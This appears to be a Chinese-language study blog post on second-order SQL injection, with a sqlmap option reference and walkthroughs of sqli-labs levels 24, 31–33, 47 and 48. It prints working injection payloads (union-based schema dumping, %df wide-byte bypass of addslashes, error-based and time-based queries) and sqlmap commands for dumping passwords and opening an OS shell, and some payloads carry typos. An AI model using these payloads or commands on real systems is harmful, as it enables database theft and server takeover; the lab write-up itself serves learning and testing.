二次注入
今天學習二次注入
二次注入原理
二次注入可以了解為,攻擊者構造的惡意資料存儲在資料庫後,惡意資料被讀取并進入到SQL查詢語句所導緻的注入。防禦者可能在使用者輸入惡意資料時對其中的特殊字元進行了轉義處理,但在惡意資料插入到資料庫時被處理的資料又被還原并存儲在資料庫中,當Web程式調用存儲在資料庫中的惡意資料并執行SQL查詢時,就發生了SQL二次注入。
也就是說在應用程式中輸入惡意造的資料庫查詢語句時會被轉義,但是在資料庫内部調用讀取語句的時候又被還原。
二次注入,可以概括為以下兩步:
第一步:插入惡意資料
進行資料庫插入資料時,對其中的特殊字元進行了轉義處理,在寫入資料庫的時候又保留了原來的資料。
第二步:引用惡意資料
開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗的處理。
二次注入需要具備的兩個條件:
(1)使用者向資料庫插入惡意語句(即使後端代碼對語句進行了轉義,如mysql_escape_string、mysql_real_escape_string,addslahes等等轉義)
(2)後端對從資料庫中取出惡意資料沒有進行過濾直接進行sql語句的拼接
有哪些注入可以繞過addslashes等過濾函數:
1.寬位元組2.整型注入3.二次編碼注入4.二次注入
複現今天的二次注入
sqli-labs -- 24
先在網站注冊個賬戶,分别是admin’ -- 1
看一下注冊代碼

可以看到傳入的username、password、re_password仍均被mysql_escape_string進行了轉義處理,但是在資料庫中還是插入了admin’ -- 1,
這是因為當資料寫入到資料庫的時候反斜杠會被移除,是以寫入到資料庫的内容就是原始資料,并不會在前面多了反斜杠。
資料庫中查詢的資訊。如下:
原因:
#在資料庫語言中起注釋的作用,是以這樣子的話,不知不覺中被更改密碼的成了admin,而不是admin’ -- 1'。
因為我們将問題資料存儲到了資料庫,而程式再取資料庫中的資料的時候沒有進行二次判斷便直接帶入到代碼中,進而造成了二次注入。
sqlmap的簡單用法
sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、通過資料庫指紋提取通路底層檔案系統并通過外帶連接配接執行指令。
sqlmap支援五種不同的注入模式:
UNION query SQL injection(可聯合查詢注入)
Error-based SQL injection(報錯型注入)
Boolean-based blind SQL injection(布爾型注入)
Time-based blind SQL injection(基于時間延遲注入)
Stacked queries SQL injection(可多語句查詢注入)
支援資料庫:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
-U參數
-u “URL” : 指定URL,get請求方式
格式sqlmap.py -u
-M 參數
從文本中擷取多個目标掃描,但是每 一行隻能有一個url.
sqlmap -m urllist.txt
-R 參數
從檔案中加載HTTP請求,這樣的話 就不需要在去設定cookie,POST資料......等等
設定回顯等級
參數:-v 預設為1:
0、隻顯示python錯誤以及嚴重的資訊。
1、同時顯示基本資訊和警告資訊。(預設等級)
2、同時顯示debug資訊。
3、同時顯示注入的payload。 記住
4、同時顯示HTTP請求。 記住
5、同時顯示HTTP響應頭。
6、同時顯示HTTP響應頁面。
data參數:
此參數是把data後面的資料以POST方式送出,sqlmap會像檢測GET參數一樣檢測POST送出過去的參數。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”
Cookie 參數
當web需要登入的時候,需要我們抓包擷取cookie參數,然後複制出來,加到--cookie參數中。
--cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”
參數:–cookie、–cookie-del、–drop-set-cookie和–load-cookies
有兩種情況會用到這些參數:
要測試的頁面隻有在登入狀态下才能通路,登入狀态用cookie識别
想要檢測是否存在cookie注入
當“–level”設定為2或更高時,Sqlmap會檢測cookie是否存在注入漏洞
(1).“–cookie”和“–cookie-del”
在浏覽器中登入目标網站後複制出維持登入狀态的cookie,用參數“–cookie”來指定這些cookie,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
與POST參數不同,cookie預設的分隔符為“;”,想要指定cookie中的分隔符,使用參數“–cookie-del”。
User-Agent
參數:–user-agent和–random-agent
預設情況下Sqlmap發送的HTTP請求中的User-Agent值為:
1 | sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) |
使用參數“–user-agent”可以指定一個User-Agent值。但正常的User-Agent值長什麼樣我們可能并不記得,是以有了參數“–random-agent”,使用該參數,Sqlmap會從檔案./txt/user-agents.txt中随機地取一個User-Agent。注意,在一次會話中隻有使用同一個User-Agent,并不是每發一個HTTP請求包,都随機一個User-Agent。
用如下指令統計user-agents.txt行數:
cat sqlmap/txt/user-agents.txt | wc -l |
結果為4211,當然其中還包含空行、注釋等,但總的來說該檔案中存儲的User-Agent也有4千多個。
當“–level”設定為3或更高時,Sqlmap會檢測User-Agent是否存在注入漏洞,關于“–level”的更多資訊見下文。
6.Host
參數:–host
使用該參數可以手動指定HTTP頭中的Host值。
當“–level”設定為5或更高時,Sqlmap會檢測Host是否存在注入漏洞,關于“–level”的更多資訊見下文。
7.Referer
參數:–referer
使用該參數可以指定HTTP頭中的Referer值。Sqlmap發送的HTTP請求頭部預設無Referer字段。
當“–level”設定為3或更高時,Sqlmap會檢測Referer是否存在注入漏洞,關于“–level”的更多資訊見下文。
8.額外的HTTP頭
參:–headers
使用該參數可以在Sqlmap發送的HTTP請求封包頭部添加字段,若添加多個字段,用“\n”分隔。如指令:
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"
發送的HTTP請求包為:
GET / HTTP/1.1X-B: BHost: 192.168.56.101:8080Accept-encoding: gzip,deflateX-A: AAccept: */*User-agent:
加參數“-v 5”是為了讓Sqlamp輸出發送的HTTP請求包,便于我們觀察。
--delay 參數
可以設定兩個http請求間的延遲,設定為1的時候是1秒,預設是沒有延遲的。
指定測試參數-p ,
預設情況下Sqlmap會測試所有GET參數和POST參數,當level大于等于2時會測試cookie參數,當level大于等于3時會測試User-Agent和Referer。實際上還可以手動指定一個以逗号分隔的、要測試的參數清單,該清單中的參數不受level限制。這就是“-p”的作用。
舉個例子,若想隻測試GET參數“id”和User-Agent,則可以這麼寫:
-p "id,user-agent"
--skip 參數
在使用--level時,級别很大的時候,但是有些參數不能去測試,那麼可以使用--skip參數跳過。
如果不想測試某一參數則可以使用“–skip”。如設定了level為5但不想測試User-Agent和Referer,則可以這麼寫:
--level=5 --skip="user-agent,referer"
--level (sqlmap -r 情況下)
共有五個等級,預設為1,sqlmap使用的payload可以在 xml/payloads.xml中看到,自己也可以根據相應的格式添加自己的payload。
level>=2的時候就會測試HTTP Cookie。
level>=3的時候就會測試HTTP User-Agent/Referer頭。
level=5 的時候會測試HTTP Host。
–risk 參數
共有三個風險等級,1-3,
預設是1會測試大部分的測試語句,
2會增加基于時間的測試語句(heavy query),
3會增加OR語句的SQL注入測試。
在有些時候,例如在UPDATE,DELETE的語句中,注入一個OR的測試語句,可能導緻更新的整個表,可能造成很大的風險。
-列資料
--dbs,--users使用者名,--passwords密碼,--is-dba可以判斷目前權限
--technique :指定使用哪種注入類型
速度排序=聯合(U)>報錯(E)>布爾(Bool)>延遲(Time)
--current-db 目前資料庫
--privileges 權限
-D 後面 表名
-D database_name --tables
-D database_name -T table_name --columns
-D database_name -T table_name -C column_1,column_2 --dump
--dump-all 将整個資料庫的所有資料進行打包
–dbs 參數
查詢目前用的下的所有資料庫
該指令用于查詢目前使用者下的所有資料庫,前提是目前使用者有權限讀取包含所有資料庫清單資訊的表
python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -dbs
python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -current-db
擷取資料庫中所有表名
查詢指定的資料庫的所有表名,-D是指定某一個具體的資料庫,如果沒有指定,則會列出資料庫中所有的庫的表
python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -tables
擷取表中的字段名:
sqlmap -u URL -D 資料庫名 -T user_info –-columns
user_info 是資料庫中的一個表
python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -T users --columns
擷取字段内容:
sqlmap -u URL -D 資料庫名 -T 表名 -C username,password –-dump
這裡查詢username和password的值
擷取資料庫的所有使用者:
sqlmap -u URL –-users
前提是目前使用者有權限讀取包含所有使用者的表的權限
擷取資料庫使用者的密碼:
sqlmap -u url –passwords
列出資料庫使用者的密碼,前提是目前使用者有讀取包含使用者密碼的權限
擷取目前網站資料庫的使用者名稱:
sqlmap -u URL –-current-user
sqlmap裡怎麼清除緩存問題
這裡我們用--purge就解決了。
sqlmap.py -u “url” –os-cmd=”netuser” /*執行net user指令*/ sqlmap.py -u “url” –os-shell /*系統互動的shell*/
sqlmap (--os-shell)的使用
第二步 掃描注入點
python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 --os-shell
第三步 選擇網站的語言
第四步 輸入網站的絕對路徑
Sqli less-31
http://www.sqli.com/Less-31/?id=0&id=2
加單雙引号看一下
http://www.sqli.com/Less-31/?id=0&id=2%22
雙引号報錯 存在注入
\
閉合成功
http://www.sqli.com/Less-31/?id=0&id=4%22)%20--%201
order by 4 報錯 存在3列
http://www.sqli.com/Less-31/?id=0&id=4%22)%20order%20by%204--%201
判斷顯示位
2,3 都是回顯位
http://www.sqli.com/Less-31/?id=0&id=4%22)%20union%20select%201,2,3--%201
http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,user(),database()--%201
擷取所有庫名
http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--%201
擷取所有表名
https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--%201
擷取所有字段
https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--%201
函數addslashes 單雙引号 過濾了
存在寬子節注入 GB3212 GBK GB18030 都寬位元組
%df 吃掉/
http://www.sqli.com/Less-32/?id=2%df%27%20--%201
擷取所有表名聯合
http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata s --%201
擷取所有報錯方法庫名
http://www.sqli.com/Less-32/?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database())),1);%00
擷取所有報錯表名
http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tabls%20where%20table_schema=0x7365637572697479;%00
Sqli less-33
發現‘ 被過濾了
那麼 寬位元組繞過
?id=-1%df%27%20union%20select%201,database(),3%23
此處過濾使用函數addslashes()
addslashes() 函數傳回在預定義字元之前添加反斜杠的字元串。
預定義字元是:
單引号(')
雙引号(")
反斜杠(\)
和32關一樣
http://www.sqli.com/Less-33/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20s%20--%201
Sqli less-47
根據提示需要使用sort進行注入
單引号錯誤
報錯顯示我們多了一個”将其注釋?sort=1’ –+成功
試了一下聯合注入報錯
http://www.sqli.com/Less-47/?sort=1%27union%20select%201,user(),3%20--%201
嘗試使用報錯注入
http://www.sqli.com/Less-47/?sort=1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))%20--%201 – + 成功
可以用報錯注入
Sqli less-48
http://www.sqli.com/Less-48/?sort=%27-1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))
Print_r(mysql_error());
沒有報錯顯示
嘗試一下bool sleep時間注入
大概就這樣
select * from users where id="1" and if (ascii(substr(database(),1,1))> 111, sleep(3),1) -- 1